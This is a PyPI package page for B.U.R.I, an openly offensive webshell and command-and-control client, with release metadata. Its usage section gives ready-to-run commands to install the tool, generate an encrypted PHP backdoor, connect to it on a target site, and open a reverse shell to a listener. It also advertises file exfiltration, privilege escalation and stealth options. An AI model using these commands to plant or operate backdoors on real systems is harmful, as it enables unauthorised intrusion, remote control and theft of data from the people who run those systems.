Skip to main content
image

B.U.R.I (Backdoor Utility for Remote Interaction) is a modular, encrypted command-and-control (C2) webshell client designed for secure and interactive remote administration. It provides a feature-rich interface for managing remote systems via an encrypted PHP webshell, supporting AES-GCM encryption, reverse shell capabilities, and extensible command modules.

Features

  • Encrypted Communication: Uses AES-GCM for secure client-server communication.
  • Interactive Shell: Rich terminal UI with auto-completion, history, and syntax highlighting powered by rich and prompt_toolkit.
  • Modular Design: Extensible command modules for custom functionality (e.g., file upload/download, privilege escalation).
  • Reverse Shell Support: Built-in listener for reverse shell connections.
  • Cross-Platform: Supports both Linux and Windows targets with dynamic environment detection.
  • Stealth Options: Customizable POST parameters and proxy support for enhanced discretion.
  • Path Autocompletion: Remote path completion using ls for efficient navigation.

Installation

    pip install buri-tod

Usage

B.U.R.I supports three main modes: creating a webshell, running an interactive session, and listening for reverse shells.

1. Create a Webshell

Generate an encrypted PHP webshell:

buri create --path shell.php --password 'SuperSecretPass123'

This creates a PHP webshell at shell.php with the specified password for encryption.

2. Run an Interactive Session

Connect to a deployed webshell:

buri run https://example.com/shell.php -p 'SuperSecretPass123' --param 'data'
  • --param: Specify the POST parameter name (default: data).
  • --proxy: Optional proxy (e.g., http://127.0.0.1:8080).

3. Start a Reverse Shell Listener

Listen for incoming reverse shell connections:

buri listen --lhost 0.0.0.0 --lport 4444

Then, from the interactive shell, initiate a reverse shell:

revshell <listener_ip> 4444

Example Commands

Once in the interactive shell:

  • whoami: Display the current user.
  • cd /path/to/dir: Change the remote working directory.
  • ls: List files in the current directory (supports autocompletion).
  • upload /local/path /remote/path: Upload a file to the remote system.
  • download /remote/path /local/path: Download a file from the remote system.
  • revshell <ip> <port>: Initiate a reverse shell to the specified listener.

Release files for buri-tod 0.7.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for buri-tod 0.7.1
File Size Uploaded
buri_tod-0.7.1.tar.gz 15.4 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for buri-tod 0.7.1
File Interpreter ABI Platform
buri_tod-0.7.1-py3-none-any.whl Python 3 none any Details

Total release size: 32.5 kB

Release files / buri_tod-0.7.1.tar.gz

Download URL buri_tod-0.7.1.tar.gz
Size 15.4 kB
Tags Source
SHA-256 checksum
How to use checksums
891252b793e882e4bb3a1cba36ee4b3769089c96780c0da83068713a5b1617ae
BLAKE2b-256 checksum
How to use checksums
b6376e7807615d19caebf42587c66d561024b3aa20c2bdb704b2a92d78b6bd68
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.1.0 CPython/3.13.3

Release files / buri_tod-0.7.1-py3-none-any.whl

Download URL buri_tod-0.7.1-py3-none-any.whl
Size 17.1 kB
Tags Python 3
SHA-256 checksum
How to use checksums
01ba71c026cca7f430ac6544c98c289b4a3115bb1995966d44a1c9247b21e2ad
BLAKE2b-256 checksum
How to use checksums
d8e82afcc59bbf41f083a7ccc0281c76ede1b67304d31ecf43e72b3bac700b11
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.1.0 CPython/3.13.3

Release history Release notifications | RSS feed

This release

0.7.1 This release

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page